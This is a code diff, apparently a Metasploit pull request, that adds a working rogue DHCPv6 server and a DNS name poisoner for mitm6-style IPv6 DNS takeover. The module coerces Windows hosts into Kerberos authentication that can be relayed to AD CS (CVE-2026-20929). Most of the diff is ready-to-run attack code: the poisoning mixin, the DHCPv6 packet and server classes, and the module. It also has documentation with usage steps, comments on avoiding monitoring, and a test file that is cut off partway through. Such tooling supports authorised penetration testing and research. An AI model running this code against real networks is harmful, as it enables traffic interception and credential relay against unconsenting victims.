diff --git a/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md b/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md new file mode 100644 index 0000000000000..2cebd96a832d7 --- /dev/null +++ b/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md @@ -0,0 +1,97 @@ +## Vulnerable Application + +This module runs a rogue DHCPv6 server that hands the attacker to IPv6 clients +as their DNS server (the classic mitm6 primitive), together with a paired DNS +server that poisons names under a target domain to point at the attacker while +transparently forwarding every other lookup so the victim stays functional. + +Windows prefers IPv6 over IPv4 and, by default, sends periodic DHCPv6 solicits. +By answering those solicits and advertising the attacker as the client's DNS +server, the module intercepts the victim's name resolution even on an IPv4-only +network. Once the victim resolves a target service through the attacker it can +be coerced into authenticating to the attacker. + +Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`, +this is the native coercion half of the Kerberos relay via DNS technique +(CVE-2026-20929), removing the dependency on external tooling such as mitm6. Set +`RELAY_CNAME` to steer the victim onto a name whose SPN the relay module will +present to the CA. + +This module requires root/administrator privileges to bind the DHCPv6 port +(UDP/547) and join the DHCPv6 multicast group, and Layer 2 adjacency to the +victim. + +## Verification Steps + +1. Start `msfconsole` as root +1. Do: `use auxiliary/spoof/dhcp/dhcpv6_dns_takeover` +1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept +1. Set `SPOOF_IP6` to the attacker's IPv6 address +1. Do: `run` +1. Observe DHCPv6 solicits being answered and in-scope DNS queries being poisoned + +## Options + +### TARGET_DOMAIN + +The DNS domain to intercept. Names at or under this domain are poisoned; every +other lookup is transparently forwarded. Required. + +### TARGET_HOSTS + +An optional space or semicolon separated list of specific FQDNs to poison. When +set, only these exact names are poisoned and all other names (including other +names under `TARGET_DOMAIN`) are forwarded. + +### SPOOF_IP6 + +The attacker's IPv6 address. It is handed to clients as their DNS server and is +returned as the `AAAA` answer for poisoned names. Required. + +### RELAY_CNAME + +If set, poisoned names are answered with a `CNAME` to this name instead of a +direct address. This is the DNS-CNAME trick used for Kerberos relay: the victim +follows the CNAME to a name whose SPN the relay module presents to the target, +while the Kerberos ticket is still issued for the original service. + +### LEASE_IP6 + +An optional IPv6 address to lease to clients that make a stateful (IA_NA) +request. Not required for DNS takeover. + +### DHCPV6_INTERFACE + +The network interface to bind the DHCPv6 server and join the multicast group on. +Defaults to the primary interface. + +## Scenarios + +### mitm6-style DNS takeover feeding a Kerberos ESC8 relay + +Terminal 1 - start the coercion: + +``` +msf > use auxiliary/spoof/dhcp/dhcpv6_dns_takeover +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > run +[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com +[*] DHCPv6 server started, advertising dead:beef::5 as the DNS server +[*] DHCPv6 SOLICIT from fe80::... answered with DNS dead:beef::5 +[+] Poisoned ca.ad.example.com (AAAA) for fe80::... -> CNAME attacker.ad.example.com +``` + +Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is +relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`). + +## Notes + +* Requires root/administrator and Layer 2 adjacency; DHCPv6 messages are not + routable. +* This is the DHCPv6 coercion primitive. `auxiliary/spoof/ipv6/ipv6_ra_dns_takeover` + is the Router Advertisement (RDNSS) equivalent; use whichever the target + network responds to. +* Out-of-scope lookups are forwarded unchanged, so the victim keeps working and + monitoring is less likely to notice broken name resolution. diff --git a/lib/msf/core/exploit/remote/dns/name_poisoner.rb b/lib/msf/core/exploit/remote/dns/name_poisoner.rb new file mode 100644 index 0000000000000..d869ac1432ae3 --- /dev/null +++ b/lib/msf/core/exploit/remote/dns/name_poisoner.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# This mixin adds selective DNS name poisoning on top of Exploit::Remote::DNS::Server. +# +# A module that also includes DNS::Server can mix this in to answer lookups for +# names under a target scope with the attacker's address (or a CNAME), while +# transparently forwarding every out-of-scope query so the victim stays +# functional. It is the shared coercion behaviour behind the IPv6 DNS-takeover +# modules (rogue DHCPv6 and rogue Router Advertisement), paired with a Kerberos +# relay target such as ESC8 AD CS web enrollment (CVE-2026-20929). +# +### +module Exploit::Remote::DNS +module NamePoisoner + + def initialize(info = {}) + super + + register_options( + [ + OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), + OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), + OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), + OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ]) + ], Exploit::Remote::DNS::NamePoisoner + ) + end + + # Poison lookups that fall under the target scope; forward everything else so + # the victim keeps working (and so we do not tip off monitoring by breaking + # unrelated name resolution). + def on_dispatch_request(cli, data) + return if data.strip.empty? + + req = Rex::Proto::DNS::Packet.encode_drb(data) + peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport) + + poisoned = false + req.question.each do |question| + answers = poison_answers_for(question) + next if answers.empty? + + answers.each { |rr| req.add_answer(rr) } + poisoned = true + print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") + end + + unless poisoned + # Not in scope: fall back to the default cache/forward behaviour. + return service.default_dispatch_request(cli, data) + end + + req.header.qr = true + req.header.ra = true + service.send_response(cli, Rex::Proto::DNS::Packet.validate(req).encode) + end + + # Human-readable description of what poisoned names resolve to. + def poison_description + datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] + end + + # Fail the module unless +address+ is a valid IPv6 address. + def validate_ipv6!(address, name) + return if Rex::Socket.is_ipv6?(address.to_s) + + fail_with(Msf::Module::Failure::BadConfig, "#{name} must be a valid IPv6 address") + end + + private + + def poison_answers_for(question) + name = question.qname.to_s.chomp('.').downcase + return [] unless in_scope?(name) + + qtype = question.qtype.to_s + if datastore['RELAY_CNAME'].present? + # Steer the victim onto a name whose SPN the attacker will relay for. + return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")] + end + + case qtype + when 'AAAA' + [Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])] + when 'A' + # Only answer A records if an IPv4 spoof address is meaningful; otherwise + # returning nothing lets the client prefer the AAAA answer we control. + Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : [] + else + [] + end + end + + def in_scope?(name) + if datastore['TARGET_HOSTS'].present? + target_hosts.include?(name) + else + domain = datastore['TARGET_DOMAIN'].downcase.chomp('.') + name == domain || name.end_with?(".#{domain}") + end + end + + def target_hosts + @target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?) + end + +end +end +end diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 42315748312aa..5f181ce05f961 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -293,6 +293,7 @@ def custom_inflections 'rakp2' => 'RAKP2', 'pjl' => 'PJL', 'dhcp' => 'DHCP', + 'dhcpv6' => 'DHCPv6', 'addp' => 'ADDP', 'rfb' => 'RFB', 'io' => 'IO', diff --git a/lib/rex/proto/dhcpv6/constants.rb b/lib/rex/proto/dhcpv6/constants.rb new file mode 100644 index 0000000000000..6c98fde29fa0d --- /dev/null +++ b/lib/rex/proto/dhcpv6/constants.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- + +module Rex + module Proto + # Constants for DHCPv6 (RFC 8415), plus the DNS configuration options from + # RFC 3646. Only the subset needed to run a rogue stateful/stateless DHCPv6 + # server (to become a client's DNS server) is defined here. + module DHCPv6::Constants + # DHCPv6 message types (RFC 8415 section 7.3) + module MessageType + SOLICIT = 1 + ADVERTISE = 2 + REQUEST = 3 + CONFIRM = 4 + RENEW = 5 + REBIND = 6 + REPLY = 7 + RELEASE = 8 + DECLINE = 9 + RECONFIGURE = 10 + INFORMATION_REQUEST = 11 + RELAY_FORW = 12 + RELAY_REPL = 13 + end + + # DHCPv6 option codes (RFC 8415 section 21, RFC 3646 for DNS options) + module OptionCode + CLIENTID = 1 + SERVERID = 2 + IA_NA = 3 + IA_TA = 4 + IAADDR = 5 + ORO = 6 # Option Request Option + PREFERENCE = 7 + ELAPSED_TIME = 8 + STATUS_CODE = 13 + RAPID_COMMIT = 14 + DNS_SERVERS = 23 # RFC 3646: DNS Recursive Name Server option + DOMAIN_LIST = 24 # RFC 3646: Domain Search List option + end + + # DUID types (RFC 8415 section 11) + module DuidType + LLT = 1 # Link-layer address plus time + EN = 2 # Vendor-assigned unique ID based on Enterprise Number + LL = 3 # Link-layer address + end + + # Status codes (RFC 8415 section 21.13) + module StatusCode + SUCCESS = 0 + UNSPEC_FAIL = 1 + NO_ADDRS_AVAIL = 2 + NO_BINDING = 3 + NOT_ON_LINK = 4 + USE_MULTICAST = 5 + end + + # Hardware type for DUID-LL/LLT (IANA; 1 = Ethernet) + HARDWARE_TYPE_ETHERNET = 1 + + # The well-known multicast group all DHCPv6 servers and relay agents listen + # on, and the server/client UDP ports (RFC 8415 section 7.2). + ALL_DHCP_RELAY_AGENTS_AND_SERVERS = 'ff02::1:2' + SERVER_PORT = 547 + CLIENT_PORT = 546 + end + end +end diff --git a/lib/rex/proto/dhcpv6/packet.rb b/lib/rex/proto/dhcpv6/packet.rb new file mode 100644 index 0000000000000..9033453a975f6 --- /dev/null +++ b/lib/rex/proto/dhcpv6/packet.rb @@ -0,0 +1,192 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module DHCPv6 + # A DHCPv6 client/server message (RFC 8415 section 8): a one-byte message + # type, a three-byte transaction id, and a list of TLV options. This parses + # and builds the wire format and provides helpers for assembling the rogue + # server responses used to make a client adopt the attacker as its DNS server. + # + # Relay messages (RELAY-FORW / RELAY-REPL) have a different layout and are not + # modelled here; only direct client/server messages are handled. + class Packet < BinData::Record + # A single DHCPv6 option in TLV form (RFC 8415 section 21.1). Nested so it + # registers with BinData under the unique name :dhcpv6_option (a bare + # :option would collide with other protocols' option records). + class Dhcpv6Option < BinData::Record + endian :big + + uint16 :code + uint16 :len, value: -> { data.num_bytes } + string :data, read_length: :len + end + + endian :big + + uint8 :msg_type + string :transaction_id, length: 3 + array :options, type: :dhcpv6_option, read_until: :eof + + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option, nil] the first option + # with the given code, if present. + def find_option(code) + options.find { |opt| opt.code == code } + end + + # @return [Boolean] whether the client asked for a Rapid Commit (a two-message + # Solicit/Reply exchange rather than the four-message default). + def rapid_commit? + !find_option(Constants::OptionCode::RAPID_COMMIT).nil? + end + + class << self + # Build a DHCPv6 option. + # + # @param code [Integer] the option code + # @param data [String] the option payload (already encoded) + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def option(code, data) + Dhcpv6Option.new(code: code, data: data.b) + end + + # Build a DUID-LL (link-layer address DUID, RFC 8415 section 11.4). + # + # @param mac [String] the link-layer address, as "aa:bb:cc:dd:ee:ff" or 6 raw bytes + # @return [String] the encoded DUID + def duid_ll(mac) + [Constants::DuidType::LL, Constants::HARDWARE_TYPE_ETHERNET].pack('nn') + mac_to_bytes(mac) + end + + # Build a DNS Recursive Name Server option (RFC 3646): the list of IPv6 + # addresses the client should use as DNS servers. + # + # @param addresses [Array] IPv6 addresses in presentation form + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def dns_servers_option(addresses) + option(Constants::OptionCode::DNS_SERVERS, addresses.map { |a| Rex::Socket.addr_aton(a) }.join) + end + + # Build a Domain Search List option (RFC 3646), DNS-name encoded. + # + # @param domains [Array] search domains + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def domain_list_option(domains) + option(Constants::OptionCode::DOMAIN_LIST, domains.map { |d| encode_dns_name(d) }.join) + end + + # Build an IA_NA (Identity Association for Non-temporary Addresses) option + # carrying a single leased address, echoing the client's IAID. + # + # @param iaid [Integer] the client's IAID (from its IA_NA request) + # @param address [String] the IPv6 address to lease, in presentation form + # @param preferred_lifetime [Integer] seconds + # @param valid_lifetime [Integer] seconds + # @param t1 [Integer] renew timer, seconds + # @param t2 [Integer] rebind timer, seconds + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def ia_na_option(iaid:, address:, preferred_lifetime:, valid_lifetime:, t1:, t2:) + iaaddr = option( + Constants::OptionCode::IAADDR, + Rex::Socket.addr_aton(address) + [preferred_lifetime, valid_lifetime].pack('NN') + ) + option(Constants::OptionCode::IA_NA, [iaid, t1, t2].pack('NNN') + iaaddr.to_binary_s) + end + + # Read the IAID out of a request's IA_NA option, if any. + # + # @param request [Rex::Proto::DHCPv6::Packet] + # @return [Integer, nil] + def request_iaid(request) + ia_na = request.find_option(Constants::OptionCode::IA_NA) + return nil if ia_na.nil? + + ia_na.data.to_binary_s[0, 4].unpack1('N') + end + + # The message type to answer a given request with (RFC 8415 section 18.3): + # a Solicit is answered with an Advertise, unless Rapid Commit is requested, + # in which case the exchange collapses to a Reply. Everything else we handle + # (Request/Renew/Rebind/Confirm/Information-Request) is answered with a Reply. + # + # @param request [Rex::Proto::DHCPv6::Packet] + # @return [Integer, nil] the response message type, or nil if we do not answer it + def response_type_for(request) + case request.msg_type + when Constants::MessageType::SOLICIT + request.rapid_commit? ? Constants::MessageType::REPLY : Constants::MessageType::ADVERTISE + when Constants::MessageType::REQUEST, + Constants::MessageType::RENEW, + Constants::MessageType::REBIND, + Constants::MessageType::CONFIRM, + Constants::MessageType::INFORMATION_REQUEST + Constants::MessageType::REPLY + end + end + + # Assemble a rogue server response that advertises the attacker as the + # client's DNS server. Echoes the client's transaction id and Client ID, + # and (for stateful requests carrying an IA_NA) leases the given address. + # + # @param request [Rex::Proto::DHCPv6::Packet] the parsed client message + # @param server_duid [String] the encoded server DUID (see {.duid_ll}) + # @param dns_servers [Array] DNS server IPv6 addresses to hand out + # @param assigned_address [String, nil] address to lease, if answering statefully + # @param preferred_lifetime [Integer] lease preferred lifetime, seconds + # @param valid_lifetime [Integer] lease valid lifetime, seconds + # @param domain_list [Array, nil] optional DNS search domains + # @return [Rex::Proto::DHCPv6::Packet, nil] the response, or nil if the + # request type is not one we answer + def build_response(request:, server_duid:, dns_servers:, assigned_address: nil, + preferred_lifetime: 300, valid_lifetime: 600, domain_list: nil) + response_type = response_type_for(request) + return nil if response_type.nil? + + opts = [ + option(Constants::OptionCode::SERVERID, server_duid) + ] + + client_id = request.find_option(Constants::OptionCode::CLIENTID) + opts << option(Constants::OptionCode::CLIENTID, client_id.data.to_binary_s) unless client_id.nil? + + iaid = request_iaid(request) + if !iaid.nil? && !assigned_address.nil? + opts << ia_na_option( + iaid: iaid, + address: assigned_address, + preferred_lifetime: preferred_lifetime, + valid_lifetime: valid_lifetime, + t1: preferred_lifetime / 2, + t2: (preferred_lifetime * 4) / 5 + ) + end + + opts << dns_servers_option(dns_servers) + opts << domain_list_option(domain_list) unless domain_list.nil? || domain_list.empty? + opts << option(Constants::OptionCode::RAPID_COMMIT, '') if request.rapid_commit? + + new( + msg_type: response_type, + transaction_id: request.transaction_id.to_binary_s, + options: opts.map { |o| { code: o.code, data: o.data.to_binary_s } } + ) + end + + private + + def mac_to_bytes(mac) + return mac.b if mac.b.bytesize == 6 + + [mac.delete(':-')].pack('H*') + end + + # Encode a domain name as a sequence of length-prefixed labels terminated + # by a zero-length root label (RFC 1035 section 3.1). + def encode_dns_name(domain) + domain.split('.').map { |label| [label.bytesize].pack('C') + label }.join + "\x00" + end + end + end + end + end +end diff --git a/lib/rex/proto/dhcpv6/server.rb b/lib/rex/proto/dhcpv6/server.rb new file mode 100644 index 0000000000000..3580929ca3842 --- /dev/null +++ b/lib/rex/proto/dhcpv6/server.rb @@ -0,0 +1,168 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module DHCPv6 + # A minimal rogue DHCPv6 server (RFC 8415). It answers Solicit / Request / + # Renew / Rebind / Confirm / Information-Request messages, handing the client + # the attacker as its DNS server (and, for stateful requests, a leased + # address). This is the native coercion primitive behind the Kerberos relay + # via DNS (CVE-2026-20929): once the attacker is the client's DNS server, a + # paired DNS server poisons the target name to coerce authentication. + # + # Request parsing and response construction live in {#handle_request}, kept + # separate from the socket I/O so the protocol behaviour is unit-testable. + class Server + include Rex::Socket + + # @param dns_servers [Array] DNS server IPv6 address(es) to hand out + # (the attacker); defaults to the server's own link address at start time. + # @param assigned_address [String, nil] address to lease for stateful (IA_NA) requests + # @param domain_list [Array, nil] optional DNS search domains + # @param server_mac [String, nil] link-layer address for the server DUID (random if nil) + # @param listen_host [String] local bind address (all IPv6 by default) + # @param interface [String, nil] interface name to bind / join multicast on + # @param context [Hash] Rex socket context + # + # Lease lifetimes default to 300s/600s and can be overridden via the + # +preferred_lifetime+ / +valid_lifetime+ accessors. + def initialize(dns_servers: [], assigned_address: nil, domain_list: nil, server_mac: nil, + listen_host: '::', interface: nil, context: {}) + self.dns_servers = dns_servers + self.assigned_address = assigned_address + self.domain_list = domain_list + self.server_duid = Packet.duid_ll(server_mac || random_mac) + self.listen_host = listen_host + self.interface = interface + self.preferred_lifetime = 300 + self.valid_lifetime = 600 + self.context = context + self.sock = nil + end + + # A block invoked with (message_type, client_host, request_packet) each + # time a request is answered, for logging / reporting. + def on_request(&block) + self.reporter = block + end + + # Start listening and answering DHCPv6 requests. + def start + self.sock = Rex::Socket::Udp.create( + 'LocalHost' => listen_host, + 'LocalPort' => Constants::SERVER_PORT, + 'Context' => context, + 'Ipv6' => true + ) + + if interface && !interface.empty? + begin + sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BINDTODEVICE, "#{interface}\0") + rescue StandardError => e + elog("Failed to bind DHCPv6 server to #{interface}", error: e) + end + end + + join_multicast_group + + self.thread = Rex::ThreadFactory.spawn('DHCPv6ServerMonitor', false) { monitor_socket } + end + + def stop + thread.kill if thread + begin + sock&.close + rescue StandardError => e + elog('Failed to close DHCPv6 server socket', error: e) + end + self.sock = nil + end + + # Parse a raw client message and build the rogue response bytes. + # + # @param buf [String] the received DHCPv6 message + # @return [Array(Integer, String), nil] the response message type and its + # encoded bytes, or nil if the message is not one we answer. + def handle_request(buf) + request = Packet.read(buf) + response = Packet.build_response( + request: request, + server_duid: server_duid, + dns_servers: dns_servers, + assigned_address: assigned_address, + preferred_lifetime: preferred_lifetime, + valid_lifetime: valid_lifetime, + domain_list: domain_list + ) + return nil if response.nil? + + [request.msg_type, response.to_binary_s] + rescue StandardError => e + elog('Failed to handle DHCPv6 request', error: e) + nil + end + + attr_accessor :dns_servers, :assigned_address, :domain_list, :server_duid, + :listen_host, :interface, :preferred_lifetime, :valid_lifetime, + :context, :sock, :thread, :reporter + + protected + + def monitor_socket + loop do + readable, = ::IO.select([sock], nil, nil, 1) + next unless readable && readable[0] == sock + + buf, addr = sock.recvfrom(65535) + next if buf.nil? || buf.empty? + + # recvfrom's sender info has varied across rex-socket versions: newer + # returns [af, port, host, host], older returns the host string + # directly. Handle both so the reply reaches the real client. + client_host = addr.is_a?(::Array) ? addr[3] : addr + result = handle_request(buf) + next if result.nil? + + msg_type, response = result + # DHCPv6 clients listen on the client port; reply to the source address. + sock.sendto(response, client_host, Constants::CLIENT_PORT) + reporter&.call(msg_type, client_host, buf) + end + end + + # Join the well-known DHCPv6 multicast group so the socket receives the + # multicast Solicit/Request messages clients send. Best-effort: platforms + # and interface indices vary, so failure is logged rather than fatal. + def join_multicast_group + group = Rex::Socket.addr_aton(Constants::ALL_DHCP_RELAY_AGENTS_AND_SERVERS) + ifindex = interface_index + # struct ipv6_mreq = 16-byte multicast address + native-order interface + # index; the index must be packed in the host's byte order, not network + # order, or the kernel joins on the wrong (usually zero) interface. + sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('L')) + rescue StandardError => e + elog('Failed to join DHCPv6 multicast group', error: e) + end + + def ipv6_join_group_opt + if ::Socket.const_defined?(:IPV6_JOIN_GROUP) + ::Socket::IPV6_JOIN_GROUP + else + ::Socket::IPV6_ADD_MEMBERSHIP + end + end + + def interface_index + return 0 if interface.nil? || interface.empty? + + ::Socket.getifaddrs.find { |ifaddr| ifaddr.name == interface }&.ifindex || 0 + end + + def random_mac + # 0x02 in the first octet marks the address locally administered + "\x02".b + Random.new.bytes(5) + end + end + end + end +end diff --git a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb new file mode 100644 index 0000000000000..20cfcd6d88588 --- /dev/null +++ b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb @@ -0,0 +1,111 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::DNS::Client + include Msf::Exploit::Remote::DNS::Server + include Msf::Exploit::Remote::DNS::NamePoisoner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'DHCPv6 DNS Takeover (mitm6-style IPv6 DNS coercion)', + 'Description' => %q{ + This module runs a rogue DHCPv6 server that hands the attacker to IPv6 + clients as their DNS server (the classic mitm6 primitive), and a paired + DNS server that poisons names under a target domain to point at the + attacker while transparently forwarding all other lookups so the victim + stays functional. + + Once a client resolves a target service through the attacker, it can be + coerced into authenticating to the attacker. Paired with a Kerberos relay + target (for example ESC8 AD CS web enrollment), this is the native + coercion half of the Kerberos relay via DNS technique (CVE-2026-20929), + removing the dependency on external tooling such as mitm6. + + IPv6 is preferred by Windows over IPv4, so becoming the client's IPv6 DNS + server is enough to intercept its name resolution even on IPv4 networks. + }, + 'Author' => [ + 'Pushpender Rathore' # native DHCPv6 + DNS coercion + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-20929'], + ['URL', 'https://github.com/dirkjanm/mitm6'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE] + ], + 'Actions' => [ + [ 'Service', { 'Description' => 'Run the DHCPv6 and DNS takeover services' } ] + ], + 'PassiveActions' => [ 'Service' ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + # TARGET_DOMAIN, TARGET_HOSTS, SPOOF_IP6 and RELAY_CNAME come from the shared + # DNS::NamePoisoner mixin. + register_options( + [ + # Bind the DNS server dual-stack by default. The victim is handed SPOOF_IP6 (an + # IPv6 address) as its resolver, so a listener on 0.0.0.0 (IPv4 wildcard) would + # never receive its queries. This matches the sibling ipv6_ra_dns_takeover module. + OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send.', '::' ]), + OptString.new('LEASE_IP6', [ false, 'IPv6 address to lease to clients making stateful (IA_NA) requests.' ]), + OptString.new('DHCPV6_INTERFACE', [ false, 'Network interface to bind the DHCPv6 server and join the multicast group on.' ]) + ] + ) + end + + def run + validate_ipv6!(datastore['SPOOF_IP6'], 'SPOOF_IP6') + validate_ipv6!(datastore['LEASE_IP6'], 'LEASE_IP6') if datastore['LEASE_IP6'].present? + + start_service + print_status("DNS server started, poisoning names under #{datastore['TARGET_DOMAIN']} -> #{poison_description}") + + start_dhcpv6_server + print_status("DHCPv6 server started, advertising #{datastore['SPOOF_IP6']} as the DNS server") + + service.wait if service + rescue Rex::BindFailed => e + print_error("Failed to bind a service socket: #{e.message}") + end + + def cleanup + super + @dhcpv6_server&.stop + @dhcpv6_server = nil + end + + private + + def start_dhcpv6_server + @dhcpv6_server = Rex::Proto::DHCPv6::Server.new( + dns_servers: [datastore['SPOOF_IP6']], + assigned_address: datastore['LEASE_IP6'], + domain_list: [datastore['TARGET_DOMAIN']], + interface: datastore['DHCPV6_INTERFACE'], + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + @dhcpv6_server.on_request do |msg_type, client_host, _buf| + vprint_status("DHCPv6 #{dhcpv6_message_name(msg_type)} from #{client_host}, answered with DNS #{datastore['SPOOF_IP6']}") + end + @dhcpv6_server.start + end + + def dhcpv6_message_name(msg_type) + Rex::Proto::DHCPv6::Constants::MessageType.constants.find do |c| + Rex::Proto::DHCPv6::Constants::MessageType.const_get(c) == msg_type + end || msg_type + end +end diff --git a/spec/lib/rex/proto/dhcpv6/packet_spec.rb b/spec/lib/rex/proto/dhcpv6/packet_spec.rb new file mode 100644 index 0000000000000..aa254aa8686f5 --- /dev/null +++ b/spec/lib/rex/proto/dhcpv6/packet_spec.rb @@ -0,0 +1,139 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::DHCPv6::Packet do + let(:const) { Rex::Proto::DHCPv6::Constants } + let(:client_duid) { described_class.duid_ll('11:22:33:44:55:66') } + let(:server_duid) { described_class.duid_ll('aa:bb:cc:dd:ee:ff') } + + def build_solicit(extra_options = []) + described_class.new( + msg_type: const::MessageType::SOLICIT, + transaction_id: "\x01\x02\x03", + options: [ + { code: const::OptionCode::CLIENTID, data: client_duid }, + { code: const::OptionCode::IA_NA, data: [0xdeadbeef, 0, 0].pack('NNN') } + ] + extra_options + ) + end + + describe 'wire encoding' do + it 'round-trips a message through the wire format unchanged' do + wire = build_solicit.to_binary_s + expect(described_class.read(wire).to_binary_s).to eq(wire) + end + + it 'lays out the header as type + 3-byte transaction id + TLV options' do + wire = build_solicit.to_binary_s + expect(wire[0].unpack1('C')).to eq(const::MessageType::SOLICIT) + expect(wire[1, 3]).to eq("\x01\x02\x03".b) + # first option: CLIENTID (code 1), length, then the DUID + expect(wire[4, 2].unpack1('n')).to eq(const::OptionCode::CLIENTID) + expect(wire[6, 2].unpack1('n')).to eq(client_duid.bytesize) + end + end + + describe '.duid_ll' do + it 'encodes DUID type 3, ethernet hardware type, and the MAC bytes' do + expect(client_duid).to eq("\x00\x03\x00\x01\x11\x22\x33\x44\x55\x66".b) + end + + it 'accepts a MAC with dashes or raw bytes' do + expect(described_class.duid_ll('11-22-33-44-55-66')).to eq(client_duid) + expect(described_class.duid_ll("\x11\x22\x33\x44\x55\x66".b)).to eq(client_duid) + end + end + + describe '.dns_servers_option' do + it 'packs each IPv6 address as 16 network-order bytes' do + opt = described_class.dns_servers_option(['fe80::1', '2001:db8::2']) + expect(opt.code).to eq(const::OptionCode::DNS_SERVERS) + expect(opt.data.to_binary_s).to eq(Rex::Socket.addr_aton('fe80::1') + Rex::Socket.addr_aton('2001:db8::2')) + end + end + + describe '.request_iaid' do + it 'reads the IAID out of the request IA_NA option' do + expect(described_class.request_iaid(build_solicit)).to eq(0xdeadbeef) + end + + it 'returns nil when there is no IA_NA' do + info_req = described_class.new(msg_type: const::MessageType::INFORMATION_REQUEST, transaction_id: 'abc') + expect(described_class.request_iaid(info_req)).to be_nil + end + end + + describe '.response_type_for' do + it 'answers a Solicit with an Advertise' do + expect(described_class.response_type_for(build_solicit)).to eq(const::MessageType::ADVERTISE) + end + + it 'answers a Rapid-Commit Solicit with a Reply' do + solicit = build_solicit([{ code: const::OptionCode::RAPID_COMMIT, data: '' }]) + expect(described_class.response_type_for(solicit)).to eq(const::MessageType::REPLY) + end + + it 'answers a Request with a Reply' do + req = described_class.new(msg_type: const::MessageType::REQUEST, transaction_id: 'abc') + expect(described_class.response_type_for(req)).to eq(const::MessageType::REPLY) + end + + it 'does not answer message types it does not handle (e.g. Release)' do + rel = described_class.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc') + expect(described_class.response_type_for(rel)).to be_nil + end + end + + describe '.build_response' do + subject(:response) do + described_class.build_response( + request: described_class.read(build_solicit.to_binary_s), + server_duid: server_duid, + dns_servers: ['fe80::53'], + assigned_address: 'fe80::dead', + domain_list: ['kerberos.issue'] + ) + end + + it 'produces a wire-valid Advertise that echoes the transaction id' do + expect(response.msg_type).to eq(const::MessageType::ADVERTISE) + expect(response.transaction_id.to_binary_s).to eq("\x01\x02\x03".b) + expect(described_class.read(response.to_binary_s).to_binary_s).to eq(response.to_binary_s) + end + + it 'includes the server DUID and echoes the client DUID' do + server_id = response.find_option(const::OptionCode::SERVERID) + client_id = response.find_option(const::OptionCode::CLIENTID) + expect(server_id.data.to_binary_s).to eq(server_duid) + expect(client_id.data.to_binary_s).to eq(client_duid) + end + + it 'hands out the attacker as DNS server' do + dns = response.find_option(const::OptionCode::DNS_SERVERS) + expect(Rex::Socket.addr_ntoa(dns.data.to_binary_s)).to eq('fe80::53') + end + + it 'leases the assigned address in an IA_NA echoing the client IAID' do + ia_na = response.find_option(const::OptionCode::IA_NA) + expect(ia_na.data.to_binary_s[0, 4].unpack1('N')).to eq(0xdeadbeef) + # IA_NA data = IAID(4) + T1(4) + T2(4), then a nested IAADDR option + # (code(2) + len(2) + address(16) + lifetimes(8)); address starts at 12 + 4. + iaaddr_option = ia_na.data.to_binary_s[12..] + expect(iaaddr_option[0, 2].unpack1('n')).to eq(const::OptionCode::IAADDR) + 